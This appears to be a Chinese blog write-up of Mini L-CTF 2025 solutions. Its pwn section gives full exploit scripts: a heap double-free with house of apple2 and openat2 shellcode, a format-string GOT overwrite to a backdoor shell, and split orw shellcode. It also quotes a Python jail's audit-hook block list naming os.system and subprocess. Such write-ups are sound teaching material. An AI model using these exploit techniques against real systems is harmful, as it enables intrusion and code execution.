Mini L-CTF 2025

RK.5

RP.7197

PWN

EasyHeap | FINISHED

如果我没有玩到下午一点才看题,一血就是我的了 🙁

菜单堆题,开启了沙箱,过滤了open和openat

即使getshell了,cat flag这个shell命令也是基于open的,所以直接getshell是没用的

open(at)可以用openat2代替,本题可以从main返回,也就是会调用exit,那就打house of apple2

本题的漏洞在free,看着好像指针被清空了,但是被置零的是ptr,list上仍然保留着指针,可以再次free,也就是uaf,只是SIZE_list被置零了,于是我们虽然无法直接编辑,显示已释放堆块,但可以二次释放

那就用house of bocate制造出一个堆块重叠,但重叠状态出现后,”可以反复使用,不会消失”

我们可以轻松拿到heap地址和libc地址

from pwn import *
#io=process('./pwn')
io=remote("172.26.144.1",61703)
libc=ELF('./libc.so.6')
context.arch='amd64'
context.log_level='debug'
def bug():
    gdb.attach(io)
def ch(Id):
    io.sendlineafter(b"Choice: ",str(Id).encode())
def add(Id,size,payload=b'\x00'):
    ch(1)
    io.sendlineafter(b"Index: ",str(Id).encode())
    io.sendlineafter(b"Size: ",str(size).encode())
    io.sendlineafter(b"Input data: ",payload)
def edit(Id,payload):
    ch(2)
    io.sendlineafter(b"Index: ",str(Id).encode())
    io.sendlineafter(b"Input new data: ",payload)
def free(Id):
    ch(4)
    io.sendlineafter(b"Index: ",str(Id).encode())
def show(Id):
    ch(3)
    io.sendlineafter(b"Index: ",str(Id).encode())
for i in range(12):
    add(i,0x300)
for i in range(7):
    free(i)
free(8)
free(9)
add(0,0x300)
free(9)
add(1,0x300)
for i in range(2,7):
    add(i,0x300)
add(13,0x300)
add(14,0x300)
show(1)
io.recvuntil(b"Data: ")
base=u64(io.recv(6).ljust(8,b'\x00'))-0x203b20
print(f"base=>{hex(base)}")
add(15,0x300)
free(15)
show(1)
io.recvuntil(b"Data: ")
heap=((u64(io.recv(6).ljust(8,b'\x00'))&0xffffffffff)<<12)-0x3000
print(f"heap=>{hex(heap)}")

然后就是堆块重叠下攻击_IO_list_all,同时伪造IO结构体,将伪造IO接到_IO_list_all上

由于本题要使用openat2,openat2的参数包含结构体,写rop我感觉有点麻烦,所以写的shellcode

大体上还是orw 🙂

add(15,0x300)
#=============================================================================================
chunk=0x3010+heap
key=chunk>>12
#-------------------------------
_IO_list_all=base+libc.sym._IO_list_all
_IO_wfile_jumps=base+libc.sym._IO_wfile_jumps
magic=base+0x17923D
print(hex(_IO_list_all))
print(hex(magic))
swapcontext=base+0x5815D
rdi=base+0x000000000010f75b
rsi=base+0x000000000002b46b
#0x00000000000b0131 : mov eax, esp ; mov rdx, rbx ; pop rbx ; pop r12 ; pop rbp ; ret
#0x00000000000b00d7 : mov rdx, r13 ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
r13=base+0x00000000000584d9
rdx=base+0x00000000000b00d7
mprotect=base+libc.sym.mprotect
#-------------------------------
free(2)
free(15)
edit(1,p64((_IO_list_all)^key))
chunk2=heap+0x3940
fake=flat({
    0x00:{
        0x28:p64(1),
        0x48:p64(chunk2),
        0x88:p64(heap+0x4000),
        0xa0:p64(chunk+0x100),
        0xd8:p64(_IO_wfile_jumps)
        },
    0x100:{
        0xe0:p64(chunk+0x200)
        },
    0x200:{
        0x68:p64(magic)
        }
    },filler=b'\x00')
add(2,0x300,fake)
add(15,0x300,p64(chunk))
#=========================================================
shellcode=asm(f'''
    mov rax, 0x67616c662f2e
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    push 0
    push 0
    push 0
    mov rdx, rsp
    mov r10, 0x18
    push SYS_openat2
    pop rax
    syscall

    mov rdi,rax
    mov rsi,{heap+0x300}
    mov rdx,0x50
    mov rax,0
    syscall

    mov rdi,1
    mov rax,1
    syscall
        ''')
#=========================================================
payload=flat({
    0x00:{
    0x18:p64(chunk2),
    0x28:p64(swapcontext)
    },
    0xa0:{
        0x00:p64(chunk2+0xa8),
        0x08:p64(rdi+1),
        0x10:p64(rdi+1),
        0x18:p64(rdi+1),
        0x20:p64(rdi+1),
        0x28:p64(rdi+1),
        0x30:p64(rdi+1),
        0x38:p64(rdi+1),
        0x40:p64(rdi+1),
        0x48:p64(rdi),
        0x50:p64(heap),
        0x58:p64(rsi),
        0x60:p64(0x20000)*2,
        0x70:p64(r13),
        0x78:p64(7),
        0x80:p64(rdx),
        0x88:p64(0)*4,
        0xa8:p64(mprotect),
        0xb0:p64(rdi+1),
        0xb8:p64(chunk2+0x200)
        },
    0x200:shellcode
    },filler=b'\x00')
add(16,0x400,payload)
ch(6)
io.interactive()
#miniLCTF{Thi5-1S-@aa4@AAA4A44aa@aa@@4a4-E4sy_Heap0}

途中还有几个gadget被\xa0截断了,我找了半天代替用的gadget

PostBox | FINISHED

哇有后门函数,而且保护为got表可写

main函数的逻辑为:

  • 可以单独向文件中写入0x400个字节
  • 也可以写入字节后继续写入描述(0x80字节)

当写入描述时,如果v4=114514,存在格式化字符串漏洞

v4未被初始化,我们的目标就是把ctf自然常数写入v4

v4是个int型临时变量,存在于栈中,在调用PostScript函数前,调用了PostMessage

也就是说这两个函数在不同时间使用了同一块栈区作为栈

那PostMessage中未被初始化的变量就会继承PostScript中的数据

PostScript::v4到rbp的距离:0x114

PostMessage::buf到rbp的距离:0x410

buf可写的部分有0x400,也就是如果向buf中写入(0x410-0x114)后,再次写入的数据就会被v4复用

那我们直接在PostMessage中把p32(0x114514)写入

这样就获得了格式化字符串的能力

但是单单一次格式化字符串是不够的,我们可以使用这次格式化字符串改变v1的值,使之变大,这样就可以多次格式化字符串,以此改写close.got为backdoor

io.recvuntil(b"Give me your choice:\n\n")
io.sendline(b"2")
io.recvuntil(b"contents:\n\n")
payload=b'a'*0x2fc+p32(114514)*2
io.send(payload)
io.recvuntil(b"contents:\n\n")
io.send(b"%3c%49$n")#这里写为%3c是因为最后我完成攻击后发现一共使用了三次格式化字符串

然后可以泄露pie,再使用pwntools自带的fmtstr模块攻击got表,然后退出

顺利getshell

from pwn import *
context.arch='amd64'
#io=process('./pwn')
io=remote("192.168.137.1",55434)
def bug():
    gdb.attach(io)
def s(payload):
    io.recvuntil(b"contents:\n\n")
    io.send(payload)
    io.recvuntil(b'Your words:\n\n')
io.recvuntil(b"Give me your choice:\n\n")
io.sendline(b"2")
io.recvuntil(b"contents:\n\n")
payload=b'a'*0x2fc+p32(114514)*2
io.send(payload)
io.recvuntil(b"contents:\n\n")
io.send(b"%3c%49$n")
io.recvuntil(b"contents:\n\n")
payload=b'%13$p\x00'
io.send(payload)
io.recvuntil(b'Your words:\n\n')
pie=int(io.recv(14),16)-0x17a7
print(f"pie=>{hex(pie)}")
payload=fmtstr_payload(10,{pie+0x4040:pie+0x177E},0,"byte")
print(hex(len(payload)))
s(payload)
io.interactive()

#miniLCTF{thlS_15-ABSOIUTeIY_Not_A-5AFE-pRoGram21aa}

Ex-Aid lv.2 | FINISHED

又一个一血

允许我们在三个连续的堆块中写出0x18的shellcode,并在执行shellcode前开启了沙箱,并将堆的权限改为了rx

意思是不让我们调用read写入更多shellcode,那我们就是使用这三段不连续的shellcode实现orw

Open:

sc=asm('''
        push  2;pop rax
        lea rdi,[rdx+0x53]
        xor rsi,rsi
        xor rdx,rdx;
        syscall
        lea r10,[r9-0x20]
        jmp r10
        ''')

将flag字符串写在第三个堆块,并正常调用open,这部分很简单,然后跳转到下个堆块继续执行(shellcode间的跳转)

read,write:

我就直接用sendfile偷跑了,这个系统调用是真的好用啊

sc=asm(f'''
        mov esi,eax 
        mov edi,1
        xor edx,edx
        push 100;pop r10
        push 40;pop rax
        syscall
        ''')
io.send(sc)

#miniLCTF{e@sy-CHecklN-3@sy-5H311code_1f3f346}

随便压缩一下就到0x18字节了 🙂

Misc

吃豆人 | FINISHED

PyJail | open

题目源码先放到这里,一起帮忙看看

Welcome to Interactive Pyjail!
Rules: No import / No sleep / No input

========= Server Source Code =========
import socketserver
import sys
import ast
import io

with open(__file__, "r", encoding="utf-8") as f:
    source_code = f.read()

class SandboxVisitor(ast.NodeVisitor):
    def visit_Attribute(self, node):
        if isinstance(node.attr, str) and node.attr.startswith("__"):
            raise ValueError("Access to private attributes is not allowed")
        self.generic_visit(node)

def safe_exec(code: str, sandbox_globals=None):
    original_stdout = sys.stdout
    original_stderr = sys.stderr

    sys.stdout = io.StringIO()
    sys.stderr = io.StringIO()

    if sandbox_globals is None:
        sandbox_globals = {
            "__builtins__": {
                "print": print,
                "any": any,
                "len": len,
                "RuntimeError": RuntimeError,
                "addaudithook": sys.addaudithook,
                "original_stdout": original_stdout,
                "original_stderr": original_stderr
            }
        }

    try:
        tree = ast.parse(code)
        SandboxVisitor().visit(tree)

        exec(code, sandbox_globals)
        output = sys.stdout.getvalue()

        sys.stdout = original_stdout
        sys.stderr = original_stderr

        return output, sandbox_globals
    except Exception as e:
        sys.stdout = original_stdout
        sys.stderr = original_stderr
        return f"Error: {str(e)}", sandbox_globals


CODE = """
def my_audit_checker(event, args):
    blocked_events = [
        "import", "time.sleep", "builtins.input", "builtins.input/result", "open", "os.system",
         "eval","subprocess.Popen", "subprocess.call", "subprocess.run", "subprocess.check_output"
    ]
    if event in blocked_events or event.startswith("subprocess."):
        raise RuntimeError(f"Operation not allowed: {event}")

addaudithook(my_audit_checker)

"""


class Handler(socketserver.BaseRequestHandler):
    def handle(self):
        self.request.sendall(b"Welcome to Interactive Pyjail!\n")
        self.request.sendall(b"Rules: No import / No sleep / No input\n\n")

        try:
            self.request.sendall(b"========= Server Source Code =========\n")
            self.request.sendall(source_code.encode() + b"\n")
            self.request.sendall(b"========= End of Source Code =========\n\n")
        except Exception as e:
            self.request.sendall(b"Failed to load source code.\n")
            self.request.sendall(str(e).encode() + b"\n")

        self.request.sendall(b"Type your code line by line. Type 'exit' to quit.\n\n")

        prefix_code = CODE
        sandbox_globals = None

        while True:
            self.request.sendall(b">>> ")
            try:
                user_input = self.request.recv(4096).decode().strip()
                if not user_input:
                    continue
                if user_input.lower() == "exit":
                    self.request.sendall(b"Bye!\n")
                    break
                if len(user_input) > 100:
                    self.request.sendall(b"Input too long (max 100 chars)!\n")
                    continue

                full_code = prefix_code + user_input + "\n"
                prefix_code = ""

                result, sandbox_globals = safe_exec(full_code, sandbox_globals)
                self.request.sendall(result.encode() + b"\n")
            except Exception as e:
                self.request.sendall(f"Error occurred: {str(e)}\n".encode())
                break


if __name__ == "__main__":
    HOST, PORT = "0.0.0.0", 5000
    with socketserver.ThreadingTCPServer((HOST, PORT), Handler) as server:
        print(f"Server listening on {HOST}:{PORT}")
        server.serve_forever()
========= End of Source Code =========

Type your code line by line. Type 'exit' to quit.

MiniForensicsⅠ | FINISHED

这里需要结合取证二中的流量包处理,流量包里面有D盘的密钥

导出来后长这样

521433-074470-317097-543499-149259-301488-189849-252032

然后进行解密,得到c.txt

我用的是这个脚本

import matplotlib.pyplot as plt

# 将提供的文本转为坐标点
data = """
zuobiao.txt(在这里把坐标复制粘贴就好

""".strip()

# 解析为列表
points = [tuple(map(float, line.split(','))) for line in data.splitlines()]
x, y = zip(*points)

# 绘图
plt.figure(figsize=(10, 2))
plt.scatter(x, y, s=2)
plt.axis('equal')
plt.axis('off')
plt.tight_layout()
plt.show()

这是c.txt转换出来的图片,得到了数学公式b=(a+c)/2,可见我接下来要找a.txt=2b-c

检查过b和c,发现x,y坐标都有出入,可见这里两个坐标都要进行处理,然后b文件相对c文件来说,要多一些,那就在c文件行数的基础上进行运算操作,最后把b文件中没有参与操作的行给复制到a中去

def parse_line(line):
    x_str, y_str = line.strip().split(',')
    return float(x_str), float(y_str)

# 读取文件
with open('b.txt', 'r') as bf:
    b_lines = bf.readlines()

with open('c.txt', 'r') as cf:
    c_lines = cf.readlines()

# 获取可操作的最小行数(按 c.txt 行数)
n = len(c_lines)

a_coords = []

# 计算前 n 行:a = 2b - c
for i in range(n):
    bx, by = parse_line(b_lines[i])
    cx, cy = parse_line(c_lines[i])

    ax = 2 * bx - cx
    ay = 2 * by - cy

    a_coords.append(f"{ax},{ay}\n")

# 将 b 中剩余的部分原封不动加入 a
a_coords.extend(b_lines[n:])

# 写入 a.txt
with open('a.txt', 'w') as af:
    af.writelines(a_coords)

print(f"已完成计算,生成的 a.txt 共 {len(a_coords)} 行")

将得到的a.txt里的坐标用上上面的转换脚本绘制出图片,得到flag

miniLCTF{forens1c5_s0ooooo_1nt4resting}

MiniForensicsⅡ | FINISHED

题目介绍中,小日月和服务器进行了交互,那就说明他得打远程,结合虚拟机中的流量包有许多tls流量,可见我需要找到ssl.log进行流量解密,同时这里有远程,我就想,浏览器记录里能给点帮助

在这里能找到一个压缩包

爆破解决的1846287

里面有个ssl.log作为解密tls流量的,得到压缩包

有个png,那就简单了,用bkcrack进行明文攻击

然后解压,得到base64后,指向了个仓库

在仓库中有个python脚本,这里发现个特殊的commit的hash

但是回到仓库看的时候,发现没有那个commit

不过我观察到一点,点击不同的commit的时候,url会变成这样

这里就能想到,那个hash就是这个仓库中的,但是可能因为某种原因,导致没有出现在仓库的commits中,然后我把url中的commit改成python脚本里的那个,得到了secret.py

审计完代码后就能得到flag

miniLCTF{c0ngr4tul4ti0n5_70u’v3_g0t_th3_s3cr3ts}

赛后问了下出题师傅,原来是这样啊

麦霸评分 | FINISHED

看到页面,是识别匹配度,简单看了一下控制台,发现data.similarty不能通过前端改变匹配度,又发现源代码中有文件上传的接口,结合题目给的歌曲wav文件,不难写出:

import requests

url = 'http://127.0.0.1:32573/compare-recording'

file_path = 'original.wav'

try:

# 打开音频文件并获取文件对象

with open(file_path, 'rb') asfile:

# 创建一个字典来存储文件信息

files = {'audio': (file_path, file, 'audio/wav')}

response = requests.post(url, files=files)

print("服务器响应状态码:", response.status_code)

print("服务器响应内容:", response.text)

except requests.exceptions.RequestException as e:

print("请求错误:", e)

except FileNotFoundError:

print("文件未找到,请检查文件路径是否正确")

except Exception as e:

print("发生错误:", e)

运行即可

Reverse

0.s1gn1n | FINISHED

处理掉花指令,反编译

先加密变成v9,再异或求和等于28+60=88

后半部分的检验比较特殊,可以用Sum(x[i]^x[i-1]^k[i])+x[0]==88表示。

我开始想到的是用Z3求解器求解,但不出预料的,解数量过大,行不通,看来是我想复杂了。也许出题人想让我们找到一个易求的特解。观察到k0虽然程序没有用到但恰好是88,检验的等式可以写为Sum(x[i]^x[i-1]^k[i])+x[0]^k[0]==0,在这个等式下,每一项均等于0,通过递推即可还原v9

S = [88, 105, 123,   6,  30,  56,  44,  32,   4,  15, 
    1,   7,  49, 107,   8,  14, 122,  10, 114, 114, 
   38,  55, 111,  73,  33,  22,  17,  47,  26,  13, 
   60,  31,  43,  50,  26,  52,  55, 127,   3,  68, 
   22,  14,   1,  40,  30, 104, 100,  35,  23,   9, 
   61, 100, 106, 105,  99,  24,  24,  10,  21, 112]
x = 0

for i in range(60):
    x ^= S[i]
    print(chr(x), end="")
print(chr(x))

对前半部分的加密进行黑盒测试得知,先进行递归换位,再常规base64加密。

对于递归换位,直接编写逆向换位比较麻烦,可以输入与flag相同长度的,字符互不相同的字符串,进行加密。

利用加密前后字符位置的映射,还原目标正确位置(也算一种选择明文攻击?)

flag1 = []
flag2 = "_RKF1_nidg_{0nFi_i@errtL}3s3mnriCgennEv_TIEs"
s1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqr"
s2 = "fPgHhQiDjRkIlSmBnToJpUqErVKWAXLYFZMaCbNcGdOe"

for i in range(44):
    c = s1[i]
    index = s2.index(c)
    flag1.append(flag2[index])
print("".join(flag1))

# miniLCTF{esrevER_gnir33nignE_Is_K1nd_0F_@rt}

x96re | FINISHED

whathappened里就是把原文的除后两个字符之外的所有字符异或76,encode_fun就是标准的SM4

最后两位原样输出,再套上前后缀即可

miniLCTF{3ac159d665b4ccfb25c0927c1a23edb3}

d1ffer3nce | FINISHED

go逆向,ida9版本可以自己加上符号,也可以用go_parser脚本恢复

恢复符号后,找到main函数

输入的flag经过main_sub_1145141919函数加密,再校验

main_sub_1145141919函数是一个魔改的XXTEA,密文要动态调试,然后在runtime_memequal函数里面通过_RDI指针跟进得到

XXTEA魔改了delta、循环轮数的的计算

密钥动调从v46的内存那里获取(main_sub_1145141919函数前面有一块生成密钥的代码,要经过那里才能提取出密钥)

#include <stdio.h>
#include <stdint.h>
#define DELTA 0x4D696E69
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
 
void btea(uint32_t *v, int n, uint32_t const key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    rounds = 6 + 2025/n;
    sum = rounds*DELTA;
    y = v[0];
    do
    {
        e = (sum >> 2) & 3;
        for (p=n-1; p>0; p--)
        {
            z = v[p-1];
            y = v[p] -= MX;
        }
        z = v[n-1];
        y = v[0] -= MX;
        sum -= DELTA;
    }
    while (--rounds);
}
 
 
int main()
{
    uint32_t v[8]= {0xbeae9d72, 0x5b84e3a2, 0xf1010f31, 0xc203e7b3, 0x9c0a814c, 0x4d2ceda0, 0x14a25292, 0x21772d88};
    uint32_t const k[4]= {0x33323130, 0x37363534, 0x62613938, 0x66656463};
    int n= 8;
    btea(v, n, k);
    for (int i = 0; i < 8; i++)
    {
        printf("0x%x ,",v[i]);
    }
    return 0;
}

flag:miniLCTF{W3lc0m3~MiN1Lc7F_2O25}

Crypto

babaisiginsigin | FINISHED

一些小推导,作为签到题很好玩

Level 1

m每一位上只有0或1两种可能,如果是1的话可以忽略或运算,如果是0的话,计算的就是对应位上x,y的和,鉴于这个和只可能是0,1,2不会超过两位,于是可以通过两个错位的m来得到x和y的对应位和,不用解出x,y即可计算guess

Level 2

因为1是可以忽略或运算的,所以传入0b111111111111111111111111111111的时候就只需要计算异或和加法,于是就得到了y,然后传入0就能得到x,最后就能计算guess了

from pwn import *

addr = "127.0.0.1:11582".split(":")
io = remote(addr[0], int(addr[1]))

# Level 1
io.recvuntil(b"Enter your number: ")
io.sendline(b"715827882")   # 0b101010101010101010101010101010
io.recvuntil(b"Calculation result: ")
res1 = int(io.recvline().strip().decode())
io.recvuntil(b"Enter your number: ")
io.sendline(b"357913941")   # 0b010101010101010101010101010101
io.recvuntil(b"Calculation result: ")
res2 = int(io.recvline().strip().decode())
io.recvuntil(b"m = ")
guess = int(io.recvline().strip().decode()[:-1])

tmp = []
m = 0b101010101010101010101010101010
tmp1 = [int(bin(res1 - m*2)[2:].zfill(30)[i:i+2],2) for i in range(0,30,2)]
m = m >> 1
tmp2 = [int(bin(res2 - m*2)[2:].zfill(31)[i:i+2],2) for i in range(0,30,2)]
for i in zip(tmp2,tmp1):
    tmp += list(i)

ans = 0
guess = bin(guess)[2:].zfill(30)
for i in range(30):
    ans = ans << 1
    if guess[i] == '1':
        ans += int(guess[i])*2
    else:
        ans += tmp[i]
io.sendline(str(ans).encode())

# Level 2
io.recvuntil(b"Enter your number: ")
io.sendline(b"1073741823")  # 0b111111111111111111111111111111
io.recvuntil(b"Calculation result: ")
res1 = int(io.recvline().strip().decode())
io.recvuntil(b"Enter your number: ")
io.sendline(b"0")           # 0b0
io.recvuntil(b"Calculation result: ")
res2 = int(io.recvline().strip().decode())
io.recvuntil(b"m = ")
guess = int(io.recvline().strip().decode()[:-1])

level2 = lambda m, x, y: (m | x) + (m ^ y)

m = 0b111111111111111111111111111111
y = m^(res1-m)
m = 0
x = res2-(m^y)
ans = level2(guess,x,y)
io.sendline(str(ans).encode())

io.interactive()

# miniLCTF{64B41_sIGlN_CrypTO-Z-i5-yoU_flAG-Is_wIN5b3}

Rsasign | FINISHED

测了一下能发现gift给的高位值和pow(p+q,2,n),pow(p-q,2,n)的高位值是一样的,于是进一步能得到p+q和p-q的约高235位,然后爆破10位,copper就能解出因数了。

from Crypto.Util.number import *
import gmpy2

n = 103894244981844985537754880154957043605938484102562158690722531081787219519424572416881754672377601851964416424759136080204870893054485062449999897173374210892603308440838199225926262799093152616430249061743215665167990978654674200171059005559869946978592535720766431524243942662028069102576083861914106412399
c = 50810871938251627005285090837280618434273429940089654925377752488011128518767341675465435906094867261596016363149398900195250354993172711611856393548098646094748785774924511077105061611095328649875874203921275281780733446616807977350320544877201182003521199057295967111877565671671198186635360508565083698058
gift = 2391232579794490071131297275577300947901582900418236846514147804369797358429972790212

a = int(gmpy2.iroot(gift << 740, 2)[0])  # p-q
b = int(gmpy2.iroot((gift << 740) + 4*n, 2)[0])  # p+q
high = (a + b)//2

for i in range(2**10):
    tmp = ((high >> 235 << 10) + i) << 225
    R.<x> = PolynomialRing(Zmod(n))
    f = tmp + x
    res = f.small_roots(X=2**225, beta=0.4)
    if res != []:
        print(res)
        break

p = int(tmp + res[0])
q = n // p
assert p*q == n
d = pow(65537, -1, (p-1)*(q-1))
m = pow(c,d,n)
c = long_to_bytes(m)
print(c)

# miniL{D0_Y@U_Li)e_T&@_RRRSA??}
暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇